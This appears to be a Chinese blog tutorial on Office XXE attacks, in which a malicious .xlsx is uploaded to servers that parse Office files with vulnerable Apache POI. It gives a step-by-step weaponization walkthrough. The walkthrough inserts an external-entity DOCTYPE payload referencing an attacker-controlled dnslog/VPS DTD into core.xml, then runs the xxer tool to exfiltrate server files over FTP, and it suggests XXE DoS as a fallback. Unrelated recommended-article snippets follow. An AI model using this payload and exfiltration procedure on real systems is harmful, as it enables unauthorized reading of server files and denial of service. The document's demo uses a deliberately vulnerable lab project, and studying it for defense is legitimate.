Office XXE攻击
一、什么是Office XXE攻击
Office XXE攻击是xxe攻击的一种,由于.xlsx与.docx是基于xml文件存储内容的,后端在解析这些xml时自然也会存在xxe攻击的可能。
这里是.xlsx而不是.xls,是因为Excel有多种文件类型,xls是Excle 2003版本之前使用的文件格式,二进制的文件保存方式。Xlsx和xls就相差一个X字母,这里的X表示XML,相对于XLS,XLSX支持更多的功能,X也有扩展的意思。
与其说office xxe攻击不如说是利用Apache POI开源组件的CVE-2014-3529 、CVE-2014-3574、CVE-2017-5644这几个漏洞。具体见:https://bbs.huaweicloud.com/blogs/103994
攻击场景:网站允许上传xlsx或doc,服务器解析上传的文件获取文件内容。
二、恶意文件制作
1、下载恶意的excel文件,链接:https://pan.baidu.com/s/1iJU5Jbdsex1ZGp1jTkpY1Q?pwd=123p
2、修改后缀名为zip,解压文件得到如下文件

3、进入docProps文件夹,打开core.xml文件,修改如下地址为你的dnslog地址,保存退出插入时poc时注意xml文件格式,在`<?xml version="1.0" encoding="UTF-8"?>`后面插入
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://你的dnslog地址/ext.dtd">%aaa;%ccc;%ddd;]>

4、从新将这些文件压缩为zip文件,再修改后缀为.xlsx。就得到了恶意的excel文件。
三、获取网站数据
一般情况下offic xxe都是不回显的,只能外带数据。
外带数据需要根据网站使用的开发语言进行抉择。一般情况下大部分网站都是使用java。
对于java的站点可以使用p牛的一个项目。
https://github.com/phith0n/xxer
下载后使用python2运行:
python2 xxer.py -H vps_IP

默认情况下读取/tmp目录,根据操作系统或需求修改ext.dtd文件。注意:windows系统中不能列目录,因为存在文件的完整路径
演示项目为java-sec-code中的ooxml XXE :https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md
通过ftp协议成功读取到服务器/tmp目录下的文件

四、一些注意事项
1、修改为zip后缀,解压后会发现有很多文件,建议每个文件都插入poc,可能服务器去解析的时候触发点可能在其他文件
2、如果使用外带没收到请求,不妨试一下xxe dos
Office XXE攻击的更多相关文章
- 神奇的Content-Type——在JSON中玩转XXE攻击
大家都知道,许多WEB和移动应用都依赖于Client-Server的WEB通信交互服务.而在如SOAP.RESTful这样的WEB服务中,最常见的数据格式要数XML和JSON.当WEB服务使用XML或 ...
- 微信支付回调,XXE攻击漏洞防止方法
最近微信支付回调发现的XXE攻击漏洞(什么是XXE攻击,度娘.bing去搜,一搜一大把),收到通知后即检查代码, 微信给的解决方法是如果你使用的是: XmlDocument: XmlDocument ...
- 神奇的Content-Type--在JSON中玩转XXE攻击
转自:360安全播报http://bobao.360.cn/learning/detail/360.html 大家都知道,许多WEB和移动应用都依赖于Client-Server的WEB通信交互服务.而 ...
- XML External Entity attack/XXE攻击
XML External Entity attack/XXE攻击 1.相关背景介绍 可扩展标记语言(eXtensible Markup Language,XML)是一种标记语言,被设计用来传输和存 ...
- 【JAVA XXE攻击】微信支付官方回应XML外部实体注入漏洞
官方回应连接:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5 其中明确指出了代码修改的地方. 然后看到此文档后,我就改公司项 ...
- XXE攻击
1.背景 现在很多应用都存在XXE(XML External Entity attack)漏洞,就是xml外部实体攻击,比如facebook,很多XML的解析器默认是含有XXE漏洞的. 2.xml的定 ...
- XXE攻击学习
环境:lAMP simplexml_load_string.php代码内容 <?php $data = file_get_contents('php://input'); $xml = simp ...
- 浅谈XXE攻击
一.XXE,即XML External Entity,XML外部实体.ENTITY 实体,在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后 ...
- blind xxe攻击
最近做啊里的题的时候遇到了 http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html
- XXE(外部实体注入攻击)
利用XXE漏洞可以进行拒绝服务攻击.文件读取.命令代码执行.SQL(XSS)注入.内外扫描端口和入侵内网站点等,内网探测和入侵是利用XXE中支持的协议进行内网主机和端口的发现,可以理解为使用XXE进行 ...
随机推荐
- subprocess Python执行系统命令最优选模块
简介 subprocess 是 Python 中执行操作系统级别的命令的模块,所谓系级级别的命令就是如ls /etc/user ifconfig 等和操作系统有关的命令. subprocess 创建子 ...
- Linux快速安装流量监控工具(实用版)
前言: Linux流量监控工具,在此我推荐两种分别为: 1.nload(推荐)因为个人看着舒服点 2.iftop 以上两种任选其一即可,在此对两种都有介绍和安装教程,我写了,大家随意哈 nload安装 ...
- TypeScript:接口
介绍 TypeScript的核心原则之一是对值所有的结构类型进行类型检查.在TypeScript里,接口的作用就是为这些类型命名和为你的代码或第三方代码定义约束. 接口的基本使用 interface ...
- uniapp封装接口
1 为什么需要封装接口 封装接口是为了提高开发效率.增加代码复用性和提升可维护性.下面对这些原因进行详细解释: 1.1 开发效率 开发效率:减少代码量,简化调用过程 通过封装接口,可以将一些常见的操作 ...
- [apue] 进程环境那些事儿
main 函数与进程终止 众所周知,main 函数为 unix like 系统上可执行文件的"入口",然而这个入口并不是指链接器设置的程序起始地址,后者通常是一个启动例程,它从内核 ...
- PyAV 使用浅谈
背景: PyAV是一个用于音频和视频处理的Python库,它提供了一个简单而强大的接口,用于解码.编码.处理和分析各种音频和视频格式.PyAV基于FFmpeg多媒体框架,它本质上是FFmpeg 的Py ...
- 【升职加薪秘籍】我在服务监控方面的实践(8)-elasticsearch 性能监控与分析手段
大家好,我是蓝胖子,之前讲了mysql,redis中间件的监控,今天我们再来看看另一个基础组件elasticsearch,如何对它进行监控,当你思考如何对一个组件进行监控时,四大黄金指标会告诉你答案, ...
- Codeforces-1095E-Almost-Regular-Bracket-Sequence
题意 给定一个长度为 \(n\) 的小括号序列,求有多少个位置满足将这个位置的括号方向反过来后使得新序列是一个合法的括号序列.即在任意一个位置前缀左括号的个数不少于前缀右括号的个数,同时整个序列左右括 ...
- WPF学习 - 自定义Panel
WPF中的Panel(面板),是继承自FrameworkElement的抽象类,表示一个可以用来排列子元素的面板. 在WPF中,一种预设了几种常用的面板,如Grid.StackPanel.WrapPa ...
- 2D KD-Tree实现
KD-tree 1.使用背景 在项目中遇到一个问题: 如何算一个点到一段折线的最近距离~折线的折点可能有上千个, 而需要检索的点可能出现上万的数据量, 的确是个值得思考的问题~ 2.暴力解法 有个比较 ...